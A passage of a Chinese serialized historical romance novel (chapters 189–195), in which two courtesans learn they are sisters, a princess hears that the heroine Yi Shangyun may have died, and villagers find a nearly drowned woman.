闻此,兰香满脸疑惑,惊呆了“报应?外婆此话何意?” 老人一边伸手将兰香缓缓扶起身来,一边语重心长地道“嫣红姑娘已经将你所有的事都告诉外婆了,你实不该将一切都瞒着外婆,独自一人承担。你和那二郎之间,也终究是情深缘浅,没有缘份。他能为你挡剑而死,也还算是个有担当的好男儿。可人死不能复生,你亦勿再多念他,多念终无益。” 闻此,兰香悄悄地看了一眼正怯怯地躲在玉娘身后的嫣红,叹了口气道“兰香知道了。只是,外婆 第一百八十九章:似曾相识,原是血浓于水 “怎么会是这样?他果真如此十恶不赦么?竟连对自己的亲身骨肉都狠心下的了手?”兰香心里惊呆了,喃喃说道。 就在这时,众人的耳畔忽然响起一名女子的声音来“不,当年的那位大善人家里,并没有惨遭灭门。老天开眼,给那户人家里留下了一个活口。” 这阵女子的声音铿锵有力,所有人闻声都将目光不约而同地落在了说这句话的嫣红身上,这才看到嫣红那白净的脸庞上早已泪流满面。 “嫣红!”兰香闻此吃惊地口里喃喃道,心中忽然浮起一抹遐想来,忙在自己的记忆里搜寻比对着。 这时,嫣红深吸口气,似是鼓足了勇气,继续掷地有声道“当年,城南那户大善人家唯一的独女少不经事、遇人不淑、引狼入室,这才致使连累了其父惨遭奸人杀害,就连世代久居的祖宅也没能保住,一夜之间易了主。这一切,确实是那个狼子野心,忘恩负义的上门女婿,那个大骗子一开始就绸缪好了的。为了博得我娘芳心,他煞费苦心地布置了一场苦肉计。然蒙上苍垂怜,在那几乎是整片天都塌了一般,漆黑无助的大雨夜里,却让那位可怜的即将临盆的小姐,虽被宅子的新主人抛尸街头,却并没有被当夜的那场大雨给浇死。不仅如此,她还遇到了一位好心人的收留,且生下了一个女儿。历尽艰辛将她抚养成人。好待能有一日,她能代替自己找到那个黑了心肝的畜牲,亲手报了当年的弑父灭门之灾。” 话音刚落,兰香似是也已记起嫣红曾经告诉过她的一切,不可思议地睁大了眼睛看着她,缓缓踱步到她的身边,握起她的手道“嫣红,原来…原来我们,我们真的是亲姐妹。‘似曾相识,原是血浓于水’,难怪当初在万娇阁里,我第一眼见到你,便不知为何,总也忍不住想要亲近你,保护你。” 话到这里,在场的其他所有人也都被这段造化弄人的事惊呆了。 只见兰香一边伸手扯出一方极致淡雅的水绿色丝帕来,替嫣红轻拭着脸庞的泪痕。一边自己却眼里噙满了泪水,深情又心疼地看着嫣红的眼睛,对她说道“嫣红,同我一样,你娘亦已经不在这个世上。可如今,不知道你还能原谅我娘么?正如外婆所说,当初如果我娘能狠心一点儿,当着你娘的面,揭开那个畜牲的庐山真面目来,或许你们家…也不会遭此横祸了。而你,也可以锦衣玉食,安安稳稳地做一个大家闺秀,不至于会和我一样,堕入红尘,一身的污秽不堪。” 岂料嫣红听闻此话,顿时激动不已,歉然道“不,香儿姐,你不要这样说,该说对不起,该请求原谅的是嫣红,还有嫣红的娘。其实…我娘曾经告诉过我。她说,你娘那日独自登门而 来,在我家门口徘徊不定了许久,我娘那时刚好在丫鬟的陪同下经过回廊,看到了你娘一副仿佛很是焦虑不安的样子,想着是不是一个妇道人家碰到了什么难事儿,需要大善人家里的帮衬,便让她的贴身丫鬟出去询问。后来,那丫鬟将你娘打听的事儿便尽数一字不差地告知了我娘。我娘心里当时便已有了几分猜忌,随即使唤丫鬟尾随于你娘之后去一探究竟,便什么都知道了。我娘当时一听,心里便乱了方寸,又气又急,可又不敢告诉我外公,毕竟这桩婚事,是她自己一意孤行非要坚持的,所以,即使是一条路走到黑,她也只能认命,不想让外公为此焦急操心。她又本想自己找那人理论,又怕他一气之下抛下她不管,因为当时毕竟那人来历不明,谁知道他会做出什么事来。况且那时我娘已近临盆,她便全了自己的一己私欲,这才使得你们母女从此没了倚靠。而且,在万娇阁里,同样也正是因为有了香儿姐的庇护,嫣红才能保得一个处子之身。所以,该说对不起和请求原谅的应该是我们母女,香儿姐你何错之有呢?香儿姐,嫣红的娘对不起你们,嫣红对不起你……” 嫣红话音尚还未落,整个身子便轻轻一颤,已悄悄不知不觉中便从兰香的手中滑落下去,紧接着双膝也重重地跪在了兰香的脚下,继而开始连连叩起头来。 兰香一回过神来,亦赶忙蹲身下去跪倒在地上,方才还满满噙在眼里的泪水,瞬间宛如一颗颗断了线的珠子一般止不住地滚落下来,拉着嫣红说“妹妹不哭,快起来。从此以后,我们就是真正的亲姐妹,谁都不欠谁的,谁也都不曾对不起谁,我们谁都再也不说‘对不起’,好么……” 俩个完全不同的家庭出生,却因命运的安排又同样不慎跌入红尘的俩个女子,痴痴地望着彼此的眼睛,会心地一笑,接着紧紧地拥抱在了一起。 “冤孽,真是冤孽呀!”看着眼前所发生的一切,此情此景,老人连连悲伤地叹气,拍着手边的桌案哭道。除此之外,此刻她又还能再说些什么呢? 顷刻间,忽闻静悄悄的窗外一声晴天霹雳,随即划过一道耀眼的闪电,即刻打破了这片宁静的夜空。 紧接着,屋外狂风肆虐,倾盆大雨亦似与这阵狂风早已商量好,紧随其脚步如约而至,瞬间从空中飘落下来。 半开着的窗户被风无情地刮着,在风雨中不停地摇曳,直发出哐当哐当刺耳的声音来。 此时,站在窗户边上一直沉默不语,泪眼婆娑着的玉娘忽然缓过神来。 第一百九十章:雨虐风饕云不归 “对了,云儿她人呢?她怎么没和你们一起回来?不是说,这次一定能把她平安带回来吗?” 听到轩辕玥的声音,一时间所有人同问的目光,都不约而同地聚集到程良的身上。 “衣姑娘……”程良闻声顿时抿了抿嘴唇,露出一脸的难色,只暗自低声喃喃了一句,眼光便立刻朝着四下里躲闪了起来。 天知道程良此时面对这么多人满是希望与期待的眼神,他的心里是何其的为难。 衣上云于他们之间的每一个人都有大恩,亦情同姐妹,可如今却惨遭这样的意外,这叫他如何忍心告诉他们其在跌落悬崖之后,就连尸骨都荡然无存了呢,这太残忍了。 然此时,最让他担忧害怕的,其实并不是这群人。而是正昏迷在榻上盘旋在死亡的边缘与死神全力抗争的他的主子,秦王轩辕翰。 待他苏醒过来,他又将会如何?近期所发生的一切,无疑又一次证明了他的主子对那丫头的决心。 这么多年来,他的主子何曾在意过一个女子,可如今…… 思及此,程良的心里竟瞬间希望轩辕翰永远就这么躺着,永远不要醒过来。这样,最起码不会有天崩地裂的那一刻。 可转瞬之间,他又斩断了自己的想法,然却依旧深陷在自己的一片沉思之中不能自拔。待主子醒来,意识到尚还未曾得到,便已彻底失去了那丫头,一切的一切,他的主子又如何接受。 忽然间,程良觉得似乎连周围的空气亦都凝结了,自己不能喘气呼吸。他似是实在已无计可施,多希望能有人来帮帮他啊! 就在程良久久愣在原地里,始终都不知该如何回答众人时,轩辕玥看着程良许久,又回头看了眼轩辕翰手臂上的伤痕,不由得眼睛一怔,心里忽然拂过一抹不好的预感,再次认真地追问起程良来。 “你这是什么意思?程将军何时曾吞吞吐吐过,云儿她到底怎么了?你倒是说话啊!难不成…是不是云儿她……” “公主殿下,都怪属下无能,没能保护好殿下与衣姑娘…”程良终于再也按耐不住内心的负罪感,拱手行礼打断了她越来越不好的思绪。 然接下来的话顿时犹如一个晴天霹雳,在轩辕玥的头顶上轰隆响起。 只见程良一咬牙,心一横,深吸口气,而此时众人的心似乎亦都随之提至到了嗓门口,眼巴巴地期待着,程良说道“衣姑娘,她可能已经……已经遭遇不测…殁了。” “什么?”轩辕玥顿时大惊失色着,似觉双眼忽一发黑,便径自晕了过去。 “皇姐”轩辕昊一见,连忙眼疾手快的上前去一把将其扶住。 “公主殿下”众人亦都紧随其后齐呼一声,便都惊恐地蜂拥而上,将两人团团围了 起来。 一时间里,轩辕翰的榻边一片混乱。 就在这时,忽然传来轩辕翰昏迷之中迷迷糊糊的阵阵呢喃之音: “不要跳,不要跳,不要跳,你给本王回来,给本王回来,本王不许你死,回来,回来……” “不要碰她,本王不许任何人碰她,除了本王,谁都不能喜欢她。” “抓紧,无论如何,一定不要松手。本王不会松手,也不允许你松手。” “不要离开本王,本王不允许你离开本王,不要,不要……” 程良听闻,一个大踏步上前去照顾,却见轩辕翰的眼角,不知何时,竟悄悄的流下了两行泪来。 程良看着心疼极了,蹙眉难过道“都是属下的错,属下没有保护好殿下。为什么,为什么,为什么……” 此时的程良,内心自责极了。 “云儿她…她究竟发生了何事?将军为何说她可能已经遭遇不测,这又是什么意思?还有,秦皇叔,他现在这个样子,到底都发生了些什么事?这一切,你必须一字一句,跟本公主清清楚楚,明明白白,仔仔细细地禀报上来。”半晌后,轩辕玥终于缓缓醒了过来,悲伤地问。 于是,程良便将万娇阁事件的始末详详细细的禀报了起来,尤其是关于轩辕翰和衣上云的部分…… 听完了程良的汇报,轩辕玥瞪大了眼睛,震惊呆了。 她站起身来,惊愕道“什么?你说云儿她…唯独她一人,不见了踪影,只留在湖滩上一块血岩石?” “回公主,是的,属下和易三少已经将整片湖滩都寻遍了,没有发现任何衣姑娘的踪迹。”程良轻叹口气,答道。 “怎么可能?不可能?云儿她,她那样善良,她不可能死的,一定是你们搞错了。那血,你们怎么就能证明它一定是云儿留下的,而不是别人。那一定不会是云儿留下的,一定不是!”轩辕玥声嘶力竭地怒吼着,仿佛她此时的声音越大,便越能证明自己的猜忌是对的,衣上云,她一定是活着的一般。   第一百九十一章:长夜漫漫愁不眠 正当屋内所有的空气快速地聚集在一起升温发酵,变得愈来愈紧张,众人的心亦都被窗外夜空里,这场突然而至的急风骤雨紧紧揪着,不知究竟该何去何从的时候,一直沉默不语地立在一旁的玉娘和兰香的眼神,忽然不约而同地飘落撞击在了一起。 俩人经过短暂的相互凝视之后,忽的过去一起在轩辕玥的脚下重重地跪了下来,对她恭敬地俯首跪拜后,玉娘抬起头来信誓旦旦地祈求说道“请求公主殿下让我们来做这件事吧。就算要寻遍西秦的每一条河川、湖泊、溪流,我们也一定会把衣姑娘找回来。即使她真的遭遇了不幸,我们也一定‘生要见人,死要见尸’。况且,我们也相信,衣姑娘那样善良的人,一定会好人有好报的,吉人天佑的。” “你们又是谁?”轩辕玥闻声,这才忙转头望向了室内里,那几张对于她来说极为陌生的脸,疑惑地问。 玉娘忙再次叩首,感激道“民女们都是受过公主和衣姑娘大恩的人。民妇玉娘,在此叩谢公主的救命之恩,公主的大恩大德,玉娘将永生永世感恩戴德,没齿难忘。” 轩辕玥急急在脑中回忆了一下,发现此时跪在她面前的这个面容姣好,确实有几分气质的女子似乎全无半点映象,随即便一脸疑问道“‘救命之恩’?你一个庶民,本公主深居皇宫之内,甚少出宫。与你之间,又何曾来的救命之恩呢?” 玉娘稍作思索,情真意切地娓娓道“公主乃金枝玉叶,自是‘贵人多忘事’。可玉娘却是结草衔环,至死也不敢忘了公主的恩情。不知公主可还记得,大约半年前,差不多刚过了中秋佳节的样子。有一日,公主和衣姑娘在街上曾救过一名身中剧毒,又遭人追杀的女子的性命呢?后来,公主还好心带民妇去了城东秦王府里养伤。不仅如此,还专门安排留下了衣姑娘来悉心救治,使得民妇这才在鬼门关里走了一趟,重获新生。” “原来是你,本公主想起来了。那日,也正是因为这件事,才让本公主遇到了他……”轩辕玥闻此,忽然间恍然大悟,却也不由自主地又一次想起,那日里偶遇她英俊潇洒,风度翩翩的意中人梅志煊的一幕幕来,一时间面庞上竟现出一片绯红,独自有些出神了起来。 “公主,公主……”耳旁忽闻一阵女子轻柔的呼唤声,轩辕玥方才从一片深深的沉思之中渐渐缓过神来,面上有些尴尬,只道“哦,你们俩平身吧,方才你们是要跟本公主说……” 还未等轩辕玥将口中的话说完,俩人互相搀扶着一起身来,玉娘便再次忙道“如若能得公主之信任与不弃,我们愿拿自己的性命来做保:只要衣姑娘还活在这个世上,哪怕机会再渺茫,我们也 一定会帮公主将她找回来,这也是帮我们自己把她找回来。衣姑娘对玉娘所做的一切,玉娘这辈子都报答不完。她不仅救了玉娘,还救了玉娘的婆婆和女儿,更挽救了玉娘那颗本欲将死的心。这次,若不是因为玉娘,衣姑娘也不会只身一人来到这城南,继而卷入万娇阁的这场阴谋是非之中。这一切,都是因玉娘而起,这辈子、下辈子、下下辈子、生生世世,玉娘即使做牛做马也都报答不尽,还不清她的这份恩情……” 未及玉娘将话说完,兰香亦诚恳地道“还有兰香,兰香过去为了一己私欲昧了良心,做错了很多事,出卖了以诚相待的姐妹,险些酿成大错。还禁锢了衣姑娘,可她非但没有责备兰香,还帮着兰香逃脱了仇人的追杀,自己却甘愿冒着生命危险去兰香的家里救出了兰香的外婆。兰香此生亦与玉娘一样,愿为奴为婢永远报答衣姑娘的大恩大德。无论衣姑娘她到底是生是死,‘生要见人,死要见尸’,不把衣姑娘找回来,兰香愿遭这外面的天打五雷轰。” 这时,嫣红亦忙伸手挽起兰香的胳膊道“香儿姐和外婆的救命恩人,亦就是嫣红的救命恩人。此生,香儿姐要做什么,嫣红便也跟着做什么。香儿姐所欠下的债,嫣红一起还。况且,虽然嫣红与衣姑娘相识尚浅,但见衣姑娘她确是个聪明善良的女子,相信老天一定不会如此无情,薄待她的。” 轩辕玥看着听着,原本极为冰凉无助的心头,忽然涌上来一股暖流。她放眼过去看着窗外的风驰电掣与滂沱大雨,竟笑了起来,道“老天爷啊,你睁开眼睛来好好看看,张开耳朵好好听听,云儿那样好的一个人,你怎能如此忍心想要带走她?如果是这样,那你就真的是瞎了眼了。这世上,试问以后还会有谁敬你拜你。” 紧接着,她又缓缓踱步到轩辕翰的榻边。看着昏迷中的轩辕翰似是极为痛苦着,额头一直冒着冷汗,且瑟瑟发抖着。嘴角不停地一边抖动着一边低声呢喃着“云儿,回来,不许走,不许离开本王,本王不许,不许……” 此时,她蹙眉默默地坐在一边,拿着一条柔软的白布巾替他擦拭着脸上的汗水,看着眼前这个男人禁闭的双眼,似是从来都没想到过,这个被世人看做是神一样尊贵的男人,竟也会有今日如此孤独无助的一刻。 从小到大,她周围的所有人都认定了在这个男人的一生里,注定了只有刀光剑影、朝堂之争、还有那与生俱来便已落在他的肩头,不容他有半点推卸的一份忘我的守护 第一百九十二章:叹,有情人终难相守 漫漫长夜,愁不能眠。 轩辕玥遣去众人,独自坐在轩辕翰正昏睡着的榻边,眉头紧紧地拧在了一起,露出一脸的担忧之色,久久凝视着他虚弱苍白的脸庞,陷在自己深深的沉思之中。 忽然,“吱呀”一声,像是外室的门被人打了开来。 轩辕玥忙抬起头来,待其走近一看,见原是太医端了一碗汤药进来,便喜道“太医这会儿,可是有能让皇叔苏醒过来的良方了?” 太医进来对其缓缓摇了摇头。 轩辕玥纳闷道“那太医手里的是……” “公主,这是微臣处方的清热解毒,可以治疗殿下的表症,缓解殿下身上被荆棘所刺伤的药汤。殿下的身上,方才一回来微臣便已交待程将军在替其更换衣物的时候,已经敷过微臣特制的药膏了。现在,让微臣来侍候殿下将这内服的药也赶快服下吧,如此内外兼治,可以更好更快地摧毁病灶,大大减轻殿下的痛苦。”太医解释请求道。 轩辕玥一边听着,一边眼睛痴痴地望着太医手里正捧着的尚还冒着腾腾热气的药碗,之后出神地道了一句“身上的伤痛,可以用其所对症的神草汤药来缓解和治愈,可是心里的呢?” 太医闻此,先是猛一抬头望着轩辕玥眼睛朝其惊愕地一怔,随后稍作思索,答道“殿下正值血气方刚的大好年华,又身经百战,区区这点儿皮外之伤,放在以往里根本就不算什么,自是不在话下。而此次昏迷不醒,只怕是他的心头生了极重的郁结。正所谓‘心病还须心药医’,微臣的药只能解表,剩下的,微臣亦无能为力了,怕是也只有公主能帮殿下了。唉……” 太医无形中又借机递了句话给轩辕玥,意指只有轩辕玥清楚秦王心里的郁结究竟是什么,也只有她才能帮到他。一说完,太医便重重地叹了口气。 秦王府唯一的太医,乐太医,和张嬷嬷一样,都是受先帝亲指,跟随了轩辕翰母妃一辈子的忠仆,如今已年过四旬。 对于秦王府大大小小的事,他虽没有张嬷嬷那般上心和一清二楚,可有些事,他却也是略有所闻的。尤其是每次衣上云受伤在秦王府里被他救治修养的事,他早已察觉,轩辕翰对于衣上云的那份隐隐情愫。 乐太医是个鳏夫,曾与唯一的发妻相敬如宾,恩爱有加,但却不知为何,一生无儿无女。 方才替轩辕翰验伤把脉的时候发现似有蹊跷,后又闻众人谈及轩辕翰和衣上云一起坠崖,衣上云生死不明。身为一个过来人,他略微一想,便已知秦王这次昏迷不醒的真正原由,实质上便是这离人之苦所导致的心病。 乐太医发自肺腑的这一声叹,是叹这世间芸芸痴男怨女的无奈,‘有情人终难相守’,尽是 无独有偶。这叹,不止是叹秦王轩辕翰与衣上云,亦是叹自己与她的亡妻。 片刻后,他正欲迈步上前来喂药,轩辕玥忽回过神来阻止道“把药交给本公主,你也下去歇着吧。” “公主也要善自珍重,不要太过忧心了。秦王殿下他吉人天相,什么样的大风大浪没见过,相信一定会好起来的。”乐太医一边安慰着轩辕玥,一边奉命将手里的药碗递到了轩辕玥的手里,之后便转身轻轻退了下去,将门轻掩上。 轩辕玥默默的怔看着手里的药汤,正缓缓地冒出一丝一丝的白热气来,说道“秦皇叔,求你快点醒过来吧,云儿出事了,出使东宁的使臣也快要回来了,玥儿的心也乱了。” 片刻后,她一边听着窗外肆虐呼啸,让她不觉有些触目惊心的风声雨声,一边伸手从碗里轻舀了一勺出来,又放在自己的唇边对着吹了口气,就这样一勺一勺地将其全部送入了轩辕翰的口中。 “其实,玥儿知道,皇叔心里一定是在怀疑梅志煊,怀疑他送嫁之后并未回国,而是对我西秦仍然心存不轨。怀疑是他将云儿故意从城西带到了城南万娇阁来,可玥儿不明白,他为什么要这样做呢?云儿与他并不相熟,且一向无冤无仇,他又有何理由要如此对云儿。还是,还是玥儿真的看错了他。”最后,她一边轻轻地帮他拭去嘴角的药汤,一边喃喃自语地说道。 长夜漫漫,轩辕玥的心里又是多么的复杂与受尽煎熬,除了她自己,怕是无人能明白。若不能嫁给自己心怡的对象梅志煊,她便一定会被安排与北烈国大皇子拓跋泽和亲。 可有道是‘男怕入错行,女怕嫁错郎’,如果那在她的心中一直认为是飘飘似仙,又温润如玉的梅志煊亦是如此极具城府,让人捉摸不透,狠毒之人的话,她又该何去何从呢? 虽然轩辕玥此刻的心极为忐忑不安地苦苦纠结着,但她对于梅志煊的心,早已是刻苦铭心、覆水难收、坚若磐石、已是非君不嫁的地步,此生自是再也收不回来了。 可往往人在自己年轻,因为一时冲动,遇见了身体里那个到处乱窜,悸动的另一个自己的身影,而将自己的心错付了的时候,结果往往都早已注定了最多将是一场华丽谢幕的人生悲剧。 轩辕玥虽贵为西秦长公主,然 第一百九十三章:一主一仆一世界 衣上俊看着眼前一片混乱,惊道“燕儿…这么晚了,你怎么来了。妹妹,你手里举着戒尺,这是要做什么……” 燕儿不及衣上俊将话讲完,亦不及衣上雪开口争辩,便一边抹着不知是恐惧还是着急担心的眼泪,一边扑通一声跪在了地上,甚是可怜兮兮地祈求道“少爷,燕儿求求你救救我家小姐吧!” 衣上俊见势,忙三步并作两步地急急走下石阶,飞奔朝着燕儿而去,将她扶起身,道“燕儿,有话起来慢慢说,大姐她怎么了?” 衣上雪一见眼前的情景,气的似是都快要吐血了,直大力地连连跺着脚吼叫道“哥,那个院子里的贱蹄子,你管她是生是死呢?她就是一个丧门星,早死早消停。” “你给我住嘴,以后不许你这样诋毁咒骂大姐。没有大姐,便不会有我衣上俊的今日。你若再执迷不悟,从此便不要再唤我大哥了。”衣上俊回过头来狠狠地教训衣上雪道。 衣上雪气的牙齿咬的直咯咯响,无奈之下,一把将手中的戒尺大力地摔在燕儿和衣上俊的面前。之后,便气呼呼地一边喊娘,一边哭闹着朝最东面的里屋奔了去。 “还不都快都散了,聚在这里等着挨板子么?”衣上雪离去,衣上俊方才将视线落向了正聚集在一堆看热闹的丫鬟小厮们身上,朝其呵斥道。 众人散去,衣上俊问燕儿道“大姐究竟怎么了,走,到我屋里去说。” 燕儿此时只恨不得自己没有长上一副翅膀,忙道“不,不行,来不及了,少爷,燕儿求你,赶快救救大小姐吧。如果晚了,只怕是,只怕是小姐一定命将不保了啊。” “什么事如此严重,你总得于我说清楚了啊,你要我怎么帮你呢?”衣上俊满脸疑惑道。 燕儿只道“少爷马上带燕儿去城南万娇阁,现在,立刻,马上就走。” 衣上俊闻言,顿时惊呆了“‘万娇阁’,那种地方本少爷怎么能去呢,这若是被父亲知道了,一定非要了本少爷的命不可。” 燕儿道“少爷放心走便是,老爷亲口同意了的。具体情况,等会儿燕儿在路上自会于少爷详细说明。” “什么?父亲同意了……” 尚未及衣上俊弄清楚到底发生了什么,便已被燕儿连拖带拽地塞进了来兰姨娘院落之前,她早已安排好的马车里。 俩人乘坐的马车刚一出衣府大门,空中突然划过一道霹雳闪电,似是欲将整个夜空都要撕破了开来。 衣府阁楼上,衣上坤单手负后着立在窗前望着马车离去的背影,看到这道晴空霹雳,忽然心神不宁了起来。 …… 当西秦国的大多数人们尚还沉浸在自己甜美的睡梦中时,西秦国的东南方边境, 一个全国地势最低的名叫桃花店的小村落里,太阳已经缓缓从地平线上升起。 桃花店村整个村子加起来也不过十几户人家,这里民风淳朴,人们亦都几乎全是‘日出而作,日落而息’勤劳、朴实、忠厚的庄户人。 东边的村口,有一条由北向南流向的大河,一直蜿蜒曲折地向东流去。 村里有一条清澈见底的小河,便是从这条河水里引入的。 河水潺潺地流淌着,穿过了整个桃花店村,供养着这村子里幸福的人们的劳作生息。 当清晨的第一缕阳光,悄悄洒落在这片宁静的大地上时,村里有位颇受尊敬的老妇人,一如往常地准时缓缓地睁开了眼睛。 就在这时,“吱呀”一声,老妇人的房门被人打开,走进来一个约摸十三四岁的鹅蛋脸小丫头,手里捧着一木盆梳妆用的清水。 小丫头一袭淡黄色衣裙,梳着一头双丫髻,嘴角微微上翘着,露出一抹惬意而又自在的微笑,显得很是乖巧灵动和对自己简单闲暇生活的舒心满足,她边走边喜道“太……老夫人,该起床了。” 老妇人闻声,一边从床上坐起身来,一边言色俱都有些不悦地厉声道“死丫头,都这么多年了,怎么还是如此大大咧咧,说话还是那么不小心呢?仔细哪天老身一气之下把你给打发了。” 小丫头自知自己一时得意忘了形,失了言,可亦知道她的主子一向是刀子嘴豆腐心,最是心善,又何曾真正地责怪过自己。便往一旁拿了老妇人的衣物,近身到其身边依旧笑着道“老夫人切莫动气,以后欢儿再也不敢了。” 老妇人听了,狠狠地瞪了她一眼,可欢儿却依旧天真无邪地瞪着她的那对似是永远都没有烦恼的大眼睛,傻傻地笑看着老妇人那双永远都留着一抹忧郁的眼神。 过去每每这个时刻,老妇人的气最终都是在这样,拿这个丫头无可奈何的情况下消了去的。在桃花店村居住的这七八年个年头里,都是如此。 说话间,小丫头已经麻利地替主子换好了一袭紫衣,擦洗完毕。 这时,老妇人挪了挪身子,坐在了一面菱花镜前,虽已年过四旬,却依旧风韵犹存,脸上并不见留下多少岁月风霜雕琢的痕迹。 只是,这七八年来,她心间的那份从来都不敢说出口的惆 第一百九十四章:懒鬼遇水鬼 老妇人望着院角里,枝头满满都是正含苞欲放着的海棠花骨朵,欣喜道“时间过得可真快,转眼间又到了海棠依旧的时候了。今年的春天,仿佛比往年来的要更早一些。” 不知忆起了什么,突然间她的眼里噙满了泪水。 这时,忽然有个一身灰色短打的壮年男子,跌跌撞撞着如同见了鬼一般地匆匆跑进门来,近身到老妇人身边,上气不接下气地抚着胸口道“老夫人...您...您快过去看一看吧,村子里...村子里出大事了。” 欢儿闻声吓了一跳,速速转过身去,眼睛对着来人顿时一怔,继而又回头一脸惊讶地将目光落在了自己的主子身上,这才发现身旁的主人竟已不知何时眼睛一片潮红着,似是尚还有些泪水盈眶。 于是,她清了清嗓门,先对付着抢过那壮年男子的话,朝其厉声道“王二,这大清早的,你猴急个什么劲?看看你,跑的满头大汗,气喘吁吁的,又不是见鬼了?” 此时的王二,顿足站立在距离老妇人的身后不远处,他将两只手插在腰间,大口的喘着粗气,那样子真正像极了一只吐着长长的舌头,已是苟延残喘的老狗。 欢儿说完话后,又朝其仔细看去,那王二似是像真的受到了什么惊吓般,脸色一片煞白着。 一听到欢儿说出口的这句本是童言无忌的无心之语,王二的心中却不禁又一次顿感惊愕,道“欢儿姑娘,这还真是‘近朱者赤,近墨者黑’呀,你陪伴老夫人这尊‘活菩萨’日子久了,如今,倒竟也成了半个仙人了,你是怎么知道我王二见鬼了?” 欢儿听了王二的话,深感惊讶,顿时竟变得一愣一愣的。 只见她伸出一根瘦小的手指来,指指王二,又指了指自己,最终将其落在了那一脸惊诧的王二身上,吞吞吐吐地吃惊道“你…我…你真的见鬼了?” 王二皱起眉来,双手提了提裤腿,便就这样就地蹲了下去,继而唉声叹气地说道“唉,这大过年的,一大早竟然让我王二撞见了一只水鬼,你说我怎么就那么倒霉呢?只怕是今年这一年都翻不了身了,这可真是晦气。早知道,我就多睡一会儿懒觉,不起那么早去挑那什么他娘的见鬼的水了!” 欢儿一听这话,心里顿时来了气,她抬头看了一眼太阳的位置,对其轻蔑地道“你懒就说懒呗,找那么多借口做什么?这里谁不知道,你王二是这整个桃花店村里出了名的最懒的懒汉了。人家都是天还没亮,就已经把自家的水缸挑的满满的,煮热食吃了。可你呢,你倒是抬起你那尊贵的眼睛来看看,如今已是快日上三竿的时辰了,家家户户怕是都已经准备着煮晌午的吃食了,你竟还好意思跑来这里说‘一大早’ 。你王二是不是连早上的饭都还没吃呢,肚子里还是空的吧?哼…不是我欢儿说你,你说你都快三十的人了,村里和你一样大的汉子,人家的儿都已经到了娶亲的年纪了。你就没想过,为什么村里就没有一个姑娘能看得上你呢,竟是如此的不知羞!还‘水鬼’呢,我看你就是个成日里怎么睡都睡不够的睡鬼懒鬼吧!” “嗨,我说你这个小丫头片子,怎么说话的。一句一个‘王二,王二’的,我王二至少也算得上是你叔了吧。你怎么就这样牙尖嘴利地怼你王叔我呢。你眼里还有没有长幼尊卑了。刚还夸你这些年跟着‘活菩萨’没有白跟,怎么转眼间就连说话都这么目无尊长了?老夫人,这你可要好好管教管教这个丫头了,这样下去还得了?”王二本就郁闷着,这会儿又被欢儿这么毫不留情,劈头盖脸的一番训斥,自是顺不过气来,忙起身跳脚起来道。 这时,老妇人似是已调整好了自己的心绪,拭去了眼角的泪痕,对着欢儿训斥道“欢儿,方才老身跟你讲的话,你转身便全都忘尽了么?再怎么说,你都得尊称王二一句王叔,他平日里,田里也帮衬了我们不少,你又岂能如此对他言语不敬?这么多年,看来老身终归都是白教你了。” 老妇人话一说完,便不再看她,欢儿见主子又对自己怒了,心里紧张极了“老夫人,欢儿……” 看到主子已然是真的恼了自己,欢儿似是无奈地嘟起小嘴来,对王二躬身致歉道“王叔,对不起,欢儿知错了。” 哪知王二竟顿时蹬鼻子上脸起来,对欢儿的歉意根本不放在眼里,嗤之以鼻又冷哼一声“哼”,随即便将头扭了过去。 这时,一旁的老妇人转身过来,走到王二的面前,疑惑地问“方才你说水鬼?到底是怎么回事?” 终究,被所有人誉为‘活菩萨’的老妇人的面子,他还是要给的。不然,他也不会在发现了这个水鬼之后,第一个便跑来了她的院落里相告此事。 于是,王二一脸正色地回答老妇人的话,道“今日清晨,我起来一进庖屋里,本想烧水煮几个饺饵裹腹。可掀开水瓮一看,瓮都见底了。于是,我便挑起扁担来去河里取水。忽然,我看到河对岸拐角上的水草丛里,好像漂着一个什么东西,便好奇地卷起裤脚淌了过去。可走近一看,哎呀妈呀,真是吓死我了,这辈子怕是我王二再也不敢下河游水了。” “你走近一看怎样?”老妇人只看着他的眼睛,着急地问道。 “哎呀,‘活菩萨’啊, 第一百九十五章:似曾相识“燕”归来 许久后,王二见老妇人仍旧一动不动,便忽然露出满脸喜色,自顾自说道“这大过年的,天这么冷,她也不知道从哪儿漂来的,又漂了多久。昨夜里夜空中电闪雷鸣,又是一夜的滂沱大雨,风雨交加,她一定是死定了,是不是?” 就连一旁紧张极了的欢儿,此时亦开口问道“老夫人,这位姑娘,她……” 就在这时,尚还未及欢儿将话说完,王二竟冷不防迫不及待地伸出手来,一把扯掉了那女子脸上纯白面纱的遮挡,却当即被这张脸惊的掩鼻背过了脸去,同时一脸嫌弃地惊声一句道“哇,好丑!” 欢儿见了,亦有些触目惊心地呑咽了一口口水,似是惊呆了。 然正蹲身在其身旁,努力探寻着女子极其微弱的脉息的老妇人,则亦被突现于眼前的这张脸惊的目瞪口呆,嘴里低声喃喃道“难道是她,这怎么可能呢……” 欢儿一听,忙惊讶地问道“老夫人可是认得这女子?” “先不要说了,她的脉息很微弱。赶快将她带回去,得赶快救治,否则命将不保矣。”老妇人正色道。 这时,欢儿朝着一直背身过去愣在一边的王二,在其后背上拍了一把,道“你还愣在那里做什么,还不赶紧将她背回去。” 王二闻之,顿时转过身来气着道“你个小丫头片子,胡说什么呢?让我王二背这个水鬼?凭什么是我背?要背你自己去背,我可不背。本来这大过年的,一大早便撞见了这个水鬼,已然是要我王二倒霉一整年了。如今若是再让我背她,那我岂不是要倒一辈子的霉了么?” “你…王二,你到底背不背?不背的话,以后你就再也别进我家的门,别求我们任何事……”欢儿气的再次将手指指向了王二的鼻子,似是实在拿这个懒汉没了法子。 然王二似乎根本不在乎面前的这个小丫头说了些什么,只自顾自地眼珠子咕噜一转,脸上突然扬起一抹诡异的笑来,似是心里打定了什么主意。 随后,他便飞快地绕过了欢儿的身旁,来到老妇人跟前,亦蹲身下去,笑着对其说道“老夫人,刚才您也说了,这个丑丫头气数将近,命将不保矣。我们若背她回去,万一救不活,让她死在了你那座‘菩萨庙’里,岂不是污了你的眼,脏了你的地儿么?不如…不如就把她交给王二,王二将她背去后山给埋了,也算是积德行善,她也算是入土为安,总好过曝尸荒野,得个死无全尸了吧。” 说着说着,那王二竟已经不知不觉地开始将他那双贼精贼精的眼睛,移向了女子未曾被把脉的另一只手腕上。 他瞪大了那双圆溜溜的眼睛,似是眼珠子都快要从眼眶里跳出来了似的,嘴角还流着长长的口水,一脸欣喜地 注视着女子手腕上,紧紧套着的那只光彩夺目的七彩金丝彩玉镯子,并已悄悄地试探着将手覆上去,想要将其摘下来据为己有。 